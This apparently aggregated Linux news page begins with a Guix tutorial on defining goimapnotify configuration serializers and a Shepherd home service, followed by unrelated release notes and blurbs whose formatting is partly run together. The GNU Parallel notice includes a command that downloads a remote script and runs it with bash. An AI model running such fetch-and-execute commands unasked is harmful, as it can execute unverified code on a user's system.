Are you familiar with them? If not, I encourage you to read this wonderful trilogy of blog posts: Dissecting Guix. It took me some time to wrap my head around these concepts, but once you do, I think you will like them too. In any case, that serializer is using those expressions because we want users of our configuration to be able to intermingle packages and other file-like objects in their fields. Since this is a blog post about writing configurations, I won't dive deep into G-Expressions, but let's try to get you a sense for them.
You will need to import (guix gexp) for the following snippet to work.
(define (goimapnotify-serialize-field field-name val)
"The mapping is used to serialize certain FIELD-NAMES specially."
(let* ((field-name-mapping '((host-command . hostCmd)
(user-name . username)
(user-name-command . usernameCmd)
(password-command . passwordCmd)))
(field-name* (or (assq-ref field-name-mapping field-name)
field-name)))
#~(format #f "~a: ~s~%"
#$(camelize-field-name field-name*)
#$val)))That's not so bad, is it? What was that? 6 more characters? Surely you wouldn't be scared of that, but just in case, let me give you some extra reassurance on what's happening here. This G-Expression thing, also known as gexp, is just the way you let Guix know that this code is for later. "When is later?", you may wonder. Simplifying it, that "later" is when Guix knows where file-like objects will be located in your disk; that long path on the store you may have seen before.
For example, a package is a file-like object, so when you build the package Guix will tell you where it was stored:
$ guix build cowsay
/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4Preceding an expression with #~ (or gexp), one effectively tells Guix "don't
evaluate this code until you know what this expression should expand to". And
that other syntax, #$ (or ungexp), is telling Guix to replace the file-like
object for its lowered representation, usually a path in the store. For a
package like cowsay, that would be that
/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4 paths we saw before.
With that said, if you are like me, you won't be comfortable if you cannot debug this expressions, so let me give you some supper powers.
In your REPL, import the (guix) module. This will augment the REPL with some
additional commands that will simplify our life:
scheme@(guile-user)> ,use (guix)
scheme@(guile-user)> ,help guix
Guix Commands [abbrev]:
,run-in-store EXP - Run EXP through the store monad.
,verbosity LEVEL - Change build verbosity to LEVEL.
,lower OBJECT - Lower OBJECT into a derivation or store file and return it.
,build OBJECT [BUILD-MODE] - Lower OBJECT and build it, returning its output file name(s).
,build-options OPTIONS - Set build options to OPTIONS. Print previous value (to allow easy restore).
,build-graft GRAFT? - Set whether grafts should be performed.
,enter-store-monad - Enter a REPL for values in the store monad.
,phases - Return the build phases of the package defined by FORM.
,configure-flags - Return the configure flags of the package defined by FORM.
,make-flags - Return the make flags of the package defined by FORM.Let's see what that gexp is up to:
scheme@(gnu home services mail)> (goimapnotify-serialize-field 'reject-unauthorized? ''true)
$6 = #<gexp (format #f "~a: ~s\n" #<gexp-input "rejectUnauthorized":out> #<gexp-input (quote true):out>) gnu/home/services/mail.scm:252:2 7f4c7d9deb40>There is a little helper to approximate a gexp to it's output:
scheme@(gnu home services mail)> (gexp->approximate-sexp $6)
$7 = (format #f "~a: ~s\n" "rejectUnauthorized" (quote true))
scheme@(gnu home services mail)> (primitive-eval $7)
$8 = "rejectUnauthorized: true\n"That gets us an idea of what will be emitted to disk, but for more complex procedures, this is not going to cut it, specially if there are multiple gexps combined. So let's build that gexp:
;; 'gexp->file' comes from the '(guix gexp)' module. You can ask the REPL more
;; information about a symbol through ',a SYMBOL'.
scheme@(gnu home services mail)> ,a gexp->file
(guix gexp): gexp->file #<procedure gexp->file (name exp #:key guile set-load-path? module-path splice? system target)>
scheme@(gnu home services mail)> (gexp->file "test.scm" $6)
$8 = #<procedure 7f3f7d456ea0 at guix/gexp.scm:2098:2 (state)>In order for Guix to build a value, it needs to be something Guix can lower—an
object that can be "compiled" down to a file in the store (these are referred to
as file-like objects, because they can be inserted in any piece of code that
expects a file name). A gexp cannot be built by itself, because there is nowhere
to output it to. The above snippet creates a file-like object that will be
emitted to a file named test.scm in the store. That file will contain our
expression. As you see, we've got a procedure. The REPL printer tells us that
this procedure needs some state; this is just a way of indicating you that
this is a monadic procedure that can only be run in the context of a store
connection. Read The Store
Monad for
more information.
I will build it manually just once for demonstration purposes, don't blink:
scheme@(gnu home services mail)> ,use (guix store)
scheme@(gnu home services mail)> (run-with-store (open-connection)
$8)
$9 = #<derivation /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv => /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm 7f3f7e2de000>Where we are saying "run the procedure we got in the context of a store
connection", we opened that connection through open-connection. Let's not do
that again... Fortunately we have those useful REPL commands I just told you
about, so we can archive the same result by doing this:
scheme@(gnu home services mail)> ,run-in-store $8
$10 = #<derivation /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv => /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm 7fcd92f7f0f0>That's better, isn't it?
Now, this is a derivation. That's something Guix can build:
scheme@(gnu home services mail)> ,build $10
building /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv...
$11 = "/gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm"What's that? You don't want this magic command? Okay, the same thing can be done with:
scheme@(gnu home services mail)> (run-with-store (open-connection)
(built-derivations (list $10)))
$12 = #t
scheme@(gnu home services mail)> (derivation->output-path $10)
$13 = "/gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm"At last, a file! What's in there?
$ cat /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm
(format #f "~a: ~a\n" "rejectUnauthorized" "true")Okay that seems about right. We can even run it:
scheme@(gnu home services mail)> (call-with-input-file $13
(lambda (port)
(primitive-eval (read port))))
$14 = "rejectUnauthorized: true\n"You've seen the secret sauce, let's continue with what brought us here.
(define (goimapnotify-serialize-boolean field-name val)
(goimapnotify-serialize-field field-name (if val ''true ''false)))With this our configuration won't complain about the missing serializer. Let's continue.
One last thing, notice how, after moving to the gexp version of
goimapnotify-serialize-field, we started double quoting the symbols true and
false, this is because the #$ syntax will replace the value in place, and
the value of 'true is true, without the quote. If we didn't double quote,
the staged code after expansion would look like this:
(format #f "~a: ~s\n" "rejectUnauthorized" true)When what we really want is to expand to this:
(format #f "~a: ~s\n" "rejectUnauthorized" 'true)The reason for this is that we want users to be able to write staged code on the different fields. If one of the values of a field where to be something like this:
(goimapnotify-serialize-field 'favorite-game #~(string-append #$cowsay "/bin/cowsay"))The expansion would be this:
(format #f "~a: ~s\n" "favoriteGame" (string-append "/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4" "/bin/cowsay"))The string-append procedure is evaluated right before the format call, not
when the gexp is getting lowered.
The (gnu services configuration) module we imported earlier provides us with
serialize-configuration, it takes two arguments, a configuration object and the
fields that compose that configuration.
The define-configuration macro defined the
goimapnotify-tls-options-configuration constructor for us, we can create a
configuration with the default values like this:
scheme@(gnu home services mail)> (goimapnotify-tls-options-configuration)
$10 = #<<goimapnotify-tls-options-configuration> reject-unauthorized?: #f starttls?: #f %location: #f>Then, we can serialize it like this:
scheme@(gnu home services mail)> (serialize-configuration $10 goimapnotify-tls-options-configuration-fields)
$11 = #<gexp gnu/services/configuration.scm:165:2 7ff1fd2cbf60>If you recall form the macro expansion we saw earlier,
goimapnotify-tls-options-configuration-fields, was one of those identifiers
that got generated.
You should already know how to build that gexp we've got:
scheme@(gnu home services mail)> (gexp->file "test.yaml" $11)
$12 = #<procedure 7efd8b10c2d0 at guix/gexp.scm:2098:2 (state)>
scheme@(gnu home services mail)> ,use (guix)
scheme@(gnu home services mail)> ,run-in-store $12
$13 = #<derivation /gnu/store/z59sf3nhh80668z8njljfxcymgi071pr-test.yaml.drv => /gnu/store/xam1210yl1vdxix0bgpfalf6drpv6xbx-test.yaml 7efd8a80fd70>
scheme@(gnu home services mail)> ,build $13
$14 = "/gnu/store/xam1210yl1vdxix0bgpfalf6drpv6xbx-test.yaml"
scheme@(gnu home services mail)> (call-with-input-file $14
(lambda (port)
(display (primitive-eval (read port)))))
rejectUnauthorized: false
starttls: falseThat's some nice YAML syntax... We better speed up the pace or I will retire before finishing up this blog post.
goimapnotify-box-configurationNext in line is goimapnotify-box-configuration, you know the drill. We start
by declaring the configuration with define-configuration, specifying each
field name, type and docstring:
(define-configuration goimapnotify-box-configuration
(mailbox
string
"The mailbox to monitor.")
(on-new-mail
maybe-string-or-gexp
"The command to execute when new mail arrives.")
(on-new-mail-post
maybe-string-or-gexp
"The command to execute after the new-mail command.")
(on-changed-mail
maybe-string-or-gexp
"The command to execute when mail is changed.")
(on-changed-mail-post
maybe-string-or-gexp
"The command to execute after the changed-mail command.")
(on-deleted-mail
maybe-string-or-gexp
"The command to execute when mail is deleted.")
(on-deleted-mail-post
maybe-string-or-gexp
"The command to execute after the deleted-mail command.")
(prefix goimapnotify-))You may have noticed that we have two new types. strings, easy enough, and
maybe-string-or-gexp, not so easy; right? Worry not, here comes the
explanation.
Let's start by defining the string type:
(define-maybe string (prefix msmtp-configuration-))You may be very confused right now. What has msmtp-configuration to do with
our goimapnotify-configuration example? Well, I want this blog post to get you
ready for the real world, and in the wild, you will make configurations in
modules that contain other configurations. The example we are looking up today
is a narration of my adventures making the Goimapnotify service from the (gnu services mail) module, in that module, there is already a configuration for
msmtp.
With that said, if we tried to do this:
(define-maybe string (prefix goimapnotify-))We would be surprised with a warning that looks something like this:
$ make
...
[ 94%] GUILEC gnu/home/services/mail.go
gnu/home/services/mail.scm:67:0: warning: shadows previous definition of `maybe-string?' at gnu/home/services/mail.scm:63:0
gnu/home/services/mail.scm:278:0: warning: shadows previous definition of `goimapnotify-serialize-maybe-string' at gnu/home/services/mail.scm:67:0That's unexpected, isn't it? Nothing we've seen so far points to a
maybe-string? procedure, let's look at what is going under the hood of that
define-maybe macro:
scheme@(gnu home services mail)> ,expand (define-maybe string (prefix msmtp-configuration-))
$15 = (begin
(define (maybe-string? val)
(or ((@@ (gnu services configuration) not)
((@@ (gnu services configuration) maybe-value-set?) val))
(string? val)))
(define (msmtp-configuration-serialize-maybe-string field-name val)
(if (string? val)
(msmtp-configuration-serialize-string field-name val)
"")))Do you see it? The macro is expanding to some code that introduces two new
procedures into the module, one following the prefix, that would be
msmtp-configuration-serialize-maybe-string, and one that just declares the
predicate for the maybe type.
Given that, the warning is now apparent. If we call again that macro with a
string as the first argument, we will get the same predicate after the
expansion, leading to the redefinition warning.
So, for this particular case, instead of using the macro, we will define manually the two procedures required for our configuration:
;; The module already had this helper defined.
(define (string-or-gexp? obj)
(or (string? obj)
(gexp? obj)))
;; ... omitted lines ...
(define (goimapnotify-serialize-string field-name val)
(goimapnotify-serialize-field field-name val))
(define (goimapnotify-serialize-maybe-string field-name val)
(if (maybe-value-set? val)
(goimapnotify-serialize-string field-name val)
""))
(define goimapnotify-serialize-string-or-gexp
goimapnotify-serialize-string)
(define (goimapnotify-serialize-maybe-string-or-gexp field-name val)
(if (and (maybe-value-set? val)
(string-or-gexp? val))
(goimapnotify-serialize-string-or-gexp field-name val)
""))The above snippet defines all the serializers we need for the new types. Notice
that they are just some simple wrappers around the
goimapnotify-serialize-field helper. That procedure is doing all the heavy
lifting here, and fortunately for us, it already handles gexps. Therefore, the
fields that have a type that accepts a gexp are straightforward to declare.
That would be it for the goimapnotify-box-configuration declaration. As showed
in the previous section, the REPL is your friend. I had never written such a
complex configuration before, but thanks to this "elegant weapon for a more
civilized age", I could find my way by poking things
around.
Let's continue!
goimapnotify-configurationYou know the drill, we start by defining the fields we need. Again, I'm doing this just by looking at the README example provided by the developers of Goimapnotify:
(define-configuration goimapnotify-configuration
(host
string
"The IMAP server hostname.")
(host-command
maybe-string-or-gexp
"The command to retrieve the IMAP server hostname.")
(port
(integer 993)
"The port that the IMAP server listens on.")
(tls?
(boolean #f)
"Enable or disable TLS.")
(tls-options
maybe-goimapnotify-tls-options-configuration
"TLS options for the IMAP connection."
(serializer serialize-maybe-goimapnotify-tls-options-configuration))
(idle-logout-timeout
maybe-integer
"The idle logout timeout in minutes.")
(user-name
maybe-string
"The user-name for authentication.")
(user-name-command
maybe-string-or-gexp
"The command to retrieve the user-name.")
(alias
maybe-string
"An alias for the account.")
(password
maybe-string
"The password for authentication.")
(password-command
maybe-string-or-gexp
"The command to retrieve the password.")
(xo-auth2?
(boolean #f)
"Enable or disable XOAUTH2 authentication.")
(wait
maybe-integer
"The delay in seconds before the mail syncing is triggered.")
(boxes
list-of-goimapnotify-boxes-configurations
"The mailboxes to monitor."
(serializer serialize-list-of-goimapnotify-boxes-configurations))
(prefix goimapnotify-))You are already familiar with most of those types, but there are some new things here:
integer and maybe-integermaybe-goimapnotify-tls-options-configurationlist-of-goimapnotify-boxes-configurationsLet's start with the obvious ones first.
integerThe module already had a maybe definition for the integer. If you recall from
the macro expansion earlier, that means that there is already a symbol for the
predicate maybe-integer?:
(define-maybe integer (prefix msmtp-configuration-))We still need a serializer that follows our prefix:
(define (goimapnotify-serialize-integer field-name val)
(goimapnotify-serialize-field field-name val))
(define (goimapnotify-serialize-maybe-integer field-name val)
(if (maybe-value-set? val)
(goimapnotify-serialize-integer field-name val)
""))Simple enough. Moving on!
maybe-goimapnotify-tls-options-configuration(define (serialize-goimapnotify-tls-options-configuration field-name val)
(let ((serialization (serialize-configuration val goimapnotify-tls-options-configuration-fields)))
#~(begin
(use-modules (ice-9 format) (ice-9 string-fun))
(format #f "~a:
~a~%"
'#$(camelize-field-name field-name)
(string-replace-substring #$serialization "\n" "\n ")))))
(define-maybe goimapnotify-tls-options-configuration)You are already familiar with the define-maybe macro. The serializer is also
quite simple. Since we already defined a record that contains within all the
required information to serialize it, we just need to make a simple wrapper
around serialize-configuration.
Before moving forward, notice how the serializers from this section doesn't
contain that goimapnotify- prefix. This is an arbitrary decision, but since
there is already goimapnotify in the symbol name, I think it's a bit redundant
to add it. For the configuration definition to know which serializer to use, we
have to be specific in the serializer argument of the fields, that's why in the
configuration we had this declaration specifying a (serializer ...) for the
field:
(define-configuration goimapnotify-configuration
;; ... omitted lines ...
(tls-options
maybe-goimapnotify-tls-options-configuration
"TLS options for the IMAP connection."
(serializer serialize-maybe-goimapnotify-tls-options-configuration))
;; ... omitted lines ...
(prefix goimapnotify-))list-of-goimapnotify-boxes-configurationsFirst we need a prefix to know if we have a list of
goimapnotify-box-configuration objects, that one is simple:
(define (list-of-goimapnotify-boxes-configurations? lst)
(and (not (null? lst))
(every goimapnotify-box-configuration? lst)))Now we need a serializer that knows how to handle a list of these objects:
(define (serialize-list-of-goimapnotify-boxes-configurations field-name value)
(let ((serializations (cons 'list
(map (cut serialize-configuration <>
goimapnotify-box-configuration-fields)
value))))
#~(begin
(use-modules (ice-9 format) (ice-9 string-fun))
(format #f "~a:
~{ - ~a~%~}"
'#$(camelize-field-name field-name)
(map (lambda (s)
(string-replace-substring s "\n" "\n "))
#$serializations)))))Looks a bit daunting, but it's just staged code, remember our earlier explanation of gexps. This code is only constructing a string with the shape we need.
As a reminder, we are serializing to YAML, that means that lists are prefixed by
a - character. Following the Goimapnotify README, the indentation would be
something like this:
boxes:
- mailbox: INBOX
onNewMail: 'mbsync examplenet:INBOX'
onNewMailPost: SKIP
onChangedMail: 'mbsync examplenet:INBOX'
- mailbox: Junk
onNewMail: 'mbsync examplenet:Junk'
onNewMailPost: SKIPThis is what that format call is doing. Refer to
Formatted-Output
for more information.
We are only lacking a way to generate a complete configuration, remember that
goimapnotify-configuration is an object for a single configuration. According
to the README of Goimapnotify, the configuration file can take a list of
configurations.
home-goimapnotify-configurationThis is the last configuration we will need, it will be used directly by the service:
(define-configuration home-goimapnotify-configuration
(goimapnotify
(file-like goimapnotify)
"The @code{goimapnotify} package to use."
empty-serializer)
(configurations
(list-of-goimapnotify-configurations)
"A list of @code{goimapnotify-configuration} records which contain
information about all your accounts configurations."))Simple enough, the first field is the Guix package that provides the
goimapnotify program. This one is used by the service to start the
process. Since it doesn't need to appear in any configuration file, we don't
need to serialize it, hence the empty-serializer.
On last serializer:
(define (serialize-list-of-goimapnotify-configurations field-name value)
(let ((serializations (cons 'list
(map (cut serialize-configuration <>
goimapnotify-configuration-fields)
value))))
#~(begin
(use-modules (ice-9 format) (ice-9 string-fun))
(format #f "~a:
~{ - ~a~%~}"
'#$(camelize-field-name field-name)
(map (lambda (s)
(string-replace-substring s "\n" "\n "))
#$serializations)))))The rationale for this code is the same as the one explained for
list-of-goimapnotify-boxes-configurations.
The service definition; at last!
(define (home-goimapnotify-shepherd-service config)
(let ((log-file #~(string-append %user-log-dir "/goimapnotify.log")))
(list
(shepherd-service
(provision '(goimapnotify))
(modules '((shepherd support))) ;for '%user-log-dir'
(documentation "Run a goimapnotify process")
(start #~(make-forkexec-constructor
(list
#$(file-append
(home-goimapnotify-configuration-goimapnotify config)
"/bin/goimapnotify")
"-conf" #$(mixed-text-file "goimapnotify.yaml"
(serialize-configuration config
home-goimapnotify-configuration-fields)))
#:log-file #$log-file))
(stop #~(make-kill-destructor))))))Refer to Shepherd Services for more information on how to write Shepherd services. I will only highlight how to handle the configuration we just wrote.
We have already done all the hard work, the configuration declaration contains
all the information needed to perform the serialization of the different fields
to YAML, we just need to call serialize-configuration. For example:
scheme@(gnu home services mail)> (define test-config
(home-goimapnotify-configuration
(configurations
(list
(goimapnotify-configuration
(host "test.example.com")
(boxes
(list
(goimapnotify-box-configuration
(mailbox "Test")))))))))
scheme@(gnu home services mail)> (serialize-configuration test-config home-goimapnotify-configuration-fields)
$6 = #<gexp gnu/services/configuration.scm:165:2 7f3448e678a0>That serialization gives a gexp ready to be wrapped in a file-like so it can be
lowered to the store. That's what mixed-text-file is doing:
scheme@(gnu home services mail)> (mixed-text-file "goimapnotify.yaml"
(serialize-configuration test-config
home-goimapnotify-configuration-fields))
$7 = #<<computed-file> name: "goimapnotify.yaml" gexp: #<gexp guix/gexp.scm:2171:6 7f343915ef60> guile: #f options: (#:local-build? #t)>
scheme@(gnu home services mail)>We've got ourselves a service, but there is one last thing before we go!
As mentioned in the previous section, refer to Defining Services for what's going on here. The last thing we need do is declare the relation that this service has with respect to others:
(define home-goimapnotify-service-type
(service-type
(name 'home-goimapnotify)
(extensions
(list (service-extension home-shepherd-service-type
home-goimapnotify-shepherd-service)))
(description "Configures the @code{goimapnotify} IMAP Mailbox notifier.")))We did it!
Still here? That was long... But here we are, we defined our complex configuration.
Congratulations on reading till the end, by this time you should already be an expert on defining Guix configurations.
We acknowledge that there are some improvements to do on the API for defining configurations. We would like to have a way to specify symbol mapping for field names in the declaration, so that serializers can be generalized better. It would also be nice if we could refactor some of our configuration definitions so the serializers that can be generalized are reused between declarations. After all, there are many configuration files in similar formats.
For all of these improvements, we are counting on you! I wrote this blog post to empower you to participate in the development. If this is something that resonates with you, come join the fun!
Call for talks aperta il 31 agosto 2026. Ventiquattresimo anno del gruppo, dodicesimo Linux Day irpino documentato.
Andy recently wrote that product quality is proportional to attention and code quality is inversely proportional to pressure. Is he right?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Andy recently wrote that product quality is proportional to attention and code quality is inversely proportional to pressure. Is he right?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Sean wonders about the best way to build a new platform and how opinionated it should be, and then Aaron and Shane think about buying a UPS.
Support us on patreon and get an ad-free RSS feed with some early episodes
Subscribe to the RSS feed.
Today marks the day of soft-launching of my Debian derivative, which I’ve been using on several of my own machines for the past year or so. This is still work in progress, but I wanted to establish a launch date of the project so below is the DiffOS manifesto as motivation for continued work.
DiffOS is For Freedom! DiffOS is the Debian Increment For Freedom Operating System.
Happy Hacking!
Thanks to AI bug hunters, the Linux kernel is seeing record numbers of vulnerabilities, and it's overwhelming developers.
What to read into a study of long-term Backblaze hard drive failure data, why the difference between TB and TiB matters, and what to do about an overheating host bus adapter.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
ZFS vs Ceph: Choosing the Right Storage Architecture
News/discussion
Changing Language for Storage Capacity
Free consulting
We were asked about an overheating host bus adapter.
GNU Parallel 20260822 ('Ceuta') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
Parallel has an option for almost everything, it's almost too much.
-- tester457@ycombinator
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
12345678 c555f616 391c6f7c 28bf9380 44f4ec50
$ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
70727536 3428aa9e 9a136b9a 7296dfe4
$ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
$ bash install.sh
Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
o Fix minor groff warnings in manpages.
o Fix portability of building manpages.
o Fix minor bugs found by code analysis:
- bmc-watchdog: Fix bug with --arp-response command line parsing.
- ipmi/rmcpping: Fix bug with finding an IPv6 interface.
- ipmidetect: fix bug in which hostname configs not used properly
- ipmi-oem intelnm: fix parsing of hours/minutes error
- ipmi-oem: Correct Dell CMC IPv6 autoconfiguration output.
- ipmi-oem: Correct Dell iDRAC web server control output.
- libipmidetect: Isolate partial results between fallback servers.
- libipmidetect: Honor caller-provided hostnames over configured defaults.
- common: Preserve stream state when finishing buffered output.
- common: Fix buffer-output configuration parse issue.
- common: Parse UTC offset configuration as an integer.
- ipmiconsole: Monitor both console descriptors.
- ipmiconsole: Check valid payload instance range correctly.
- ipmi-sel: Honor post-clear after full tail output.
- ipmi-fru: Report DIMM capacities in megabytes.
- ipmi-chassis: Apply the Power-On Hours scale correctly.
- libipmimonitoring: fix mem-leak on SEL iterator
- libipmimonitoring: allow cipher suite 0 in configs
- libipmimonitoring: report NO_SEL_RECORDS instead of
NO_SENSOR_READINGS cut and paste errors in some functions.
o Fix potential stack overflows found by code analysis in ipmi-oem dell get-system-info command (specifically idrac-info, cmc-info, cmc-ipv6-info subcommands) and ipmi-oem fujitsu get-sel-entry-long-text.
o Fix potential stack overflow in libfreeipmi also related to Fujitsu long SEL entries.
https://ftp.gnu.o ... pmi-1.6.19.tar.gz
This is to announce automake-1.18.92, a beta release in preparation for automake-1.19. Announcement:
https://lists.gnu ... -08/msg00000.html
unrtf 0.21.12 is released, fixing a serious recently submitted security issue.
Dear community
We have included in the GNU Health Code of Conduct the strict NO Generative Artificial Intelligence policy.
The current version reads:
GNU Health Strict No Generative Artificial Intelligence Policy
GNU Health is social project made by humans and for humans. We DO NOT accept any code, artwork, review, documentation or issues created by generative Artifical Intelligence (GenAI) / Large Language Models (LLMs).
The GNU Health no-AI policy is because we strongly believe that:
* GenAI is bad for Mother Nature
* GenAI is bad for human rights, especially for underserved and marginalized communities.
* GenAI is bad for the Free Software and Free Culture communities.
* GenAI is bad for you
Last but not least, GNU Health manages critical health information both at personal and population level. There must be a reasoning behind every single line of code. We make all the effort to minimize bugs that can jeopardize the integrity and security of the system, and we can not risk the project by putting it in hands of stochastic parrots.
Let’s keep the art and science of computing a human virtue.
You can read the entire, most current version of GNU Health Code of conduct here:
https://docs.gnuh ... ndix/conduct.html
So long as Linux is distributed under the GPL, MIT, BSD, and Apache licenses, the OS is exempt from being required to verify the age of its users in California.
Flet lets you easily build real-time, cross-platform GUI apps using Python. We walk you through installing Flet to building your first interactive graphical application.
This month, we explore Hannah Montana Linux v26.0, RakuOS 2026.07.03, ArchBang Linux 010726, and Galactic Mandate Linux v00.
The flexibility of FOSS – and its open source nature – means it can address a number of issues, even beyond programming.
This month, we explore the top FOSS, including a stripped-down version of Brave, a lightweight audio player, and a command-line search utility.
A GUI application written in Go helps Mike Schilli select videos from his phone using animated thumbnails and get rid of the clutter.
This month in Linux Voice.
Use Octave to plot and run statistics on CSV files in as little as one line of code.
Object detection is easier than it used to be. We'll show you how to build an app that finds objects in medical images using the YOLOv8 model architecture.
The news gets weirder every day. It isn't hard to find something weird to write about, but the problem is that weird is the new normal, so the same old dystopian topics are starting to sound monotonous.
The powerful Opera GX browser has now come to Linux: Should gamers rejoice, or was this one port we could do without?
Despite its current bad rap, AI does have its uses. We'll show you how to best use some practical AI features in popular KDE apps.
Vosk lets you embed a simple voice decoder into your homegrown applications.
Install the KernelUNO firmware on your Arduino UNO R3 and get a Linux-like shell that lets you access files and talk to the GPIO pins. You can even extend the current feature set.
Running a shell on your Raspberry Pi Pico lets you use it like a classic Unix or MS-DOS workstation. All you need are basic filesystem commands – no C/C++ or Python skills required.
This innovative Linux distribution combines virtualization with the Tor network to deliver out-of-the-box privacy you won't find with the mainstream distros.
The AsteroidOS is designed to run on smartwatches, including several devices that are no longer supported by the original vendor.
In the news: The Linux Kernel Dev Staging Area Now Rejects AI-Generated Patches; Linux Surpasses Double-Digit Market Share; AI Helped Develop a Linux Exploit; Yet Another Linux Kernel Vulnerability Discovered; Ubuntu 26.10 to Include Ubuntu Certified Hardware Check; Substantial Update to IPFire Now Available; Gnome Working on Test Center App to Make Testing Easier; and New Vulnerability Discovered in Linux Kernel.
KDE has a new proper LTS and Joe is very interested, the Steam Frame is (really) nearly here, the Epic Games Store is coming to Linux, Nintendo continues to play whack-a-mole with Switch emulators, and GitHub’s serious scaling issues are getting ridiculous.
News/discussion
What a real LTS looks like: Kubuntu 26.04
New Frame welcome videos pushed to Steam Store assets
Epic Games Store Will Support Linux “Soon”
Nintendo Wipes Out 400+ Switch Emulator Repos in Single-Day GitHub Sweep
Fairphone 6 + PostmarketOS working main camera!
The August 17 GitHub outage, and the work ahead
Support us on patreon and get an ad-free RSS feed with some early episodes
qmailAdmin è un software libero che fornisce un'interfaccia web per gestire sistemi qmail con domini virtuali basati su vpopmail. Fornisce amministrazione per la creazione/cancellazione di utenti, alias, forward, mailing list e autoesponder.
onchange is enabled in vpopmail a6395a9--with-auth-log becomes --with-auth-logdir e6bdd48VPOPMAIL_DEFS_H def in template.c 658eaa9PACKAGE and VERSION macros in several .c files 18abb99 bff23befile_exists() and str_replace() renamed to file_exists2() and str_replace2() on util.c because they are already defined in vpopmail bff23beqmailadmin now requires vpopmail-5.6.11 a640c59EZMLDIR and changing --enable-auth-log to --enable-auth-logdir in #5br tags in lang files, fixed accents in italian language in #6--enable-help feature in configure in #7mailinglist.c: if MySQL support is enabled mysql:localhost is the default host in #8vpopmail version 3846a52--with-auth-log=DIR (default ~vpopmail/log). Log file now written under vpopmail privileges instead of apache. 59e234d 04e2bf9 0c75b47 5f768b1It’s the ten year old computer challenge! Can we daily drive a desktop or laptop from 2016? There’s only one way to find out!
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Simscan è un semplice programma che abilita il servizio qmail smtpd a rigettare virus , spam e a bloccare allegati durante la conversazione SMTP in modo da ridurre al minimo il carico per il sistema.
Come si può notare, per comodità ho spostato i sorgenti di simscan nel mio spazio github. Ciononostante, tutte le informazioni riguardanti simscan continueranno a essere pubblicate qui, e questa è la pagina dove chiedere eventualmente supporto.
La versione 1.4.6 è un fork della version 1.4.1, che a sua volta aggiorna il programma originale di Inter7.
Nella versione 1.4.1 i sorgenti sono stati ripuliti e leggermente modernizzati (per evitare vari warming durante la compilazione), contegono varie correzioni di bug e patche, tra le quali quasi tutte quelle di John Simpson (l'unica mancante è la patch "debug" che applicheremo comunque, come mostrato sotto) e il bug fix di Gustavo Castro che era presente nella mia precedente patch combinata. Pertanto la versione 1.4.2 aggiunge solamente solo quanto segue:
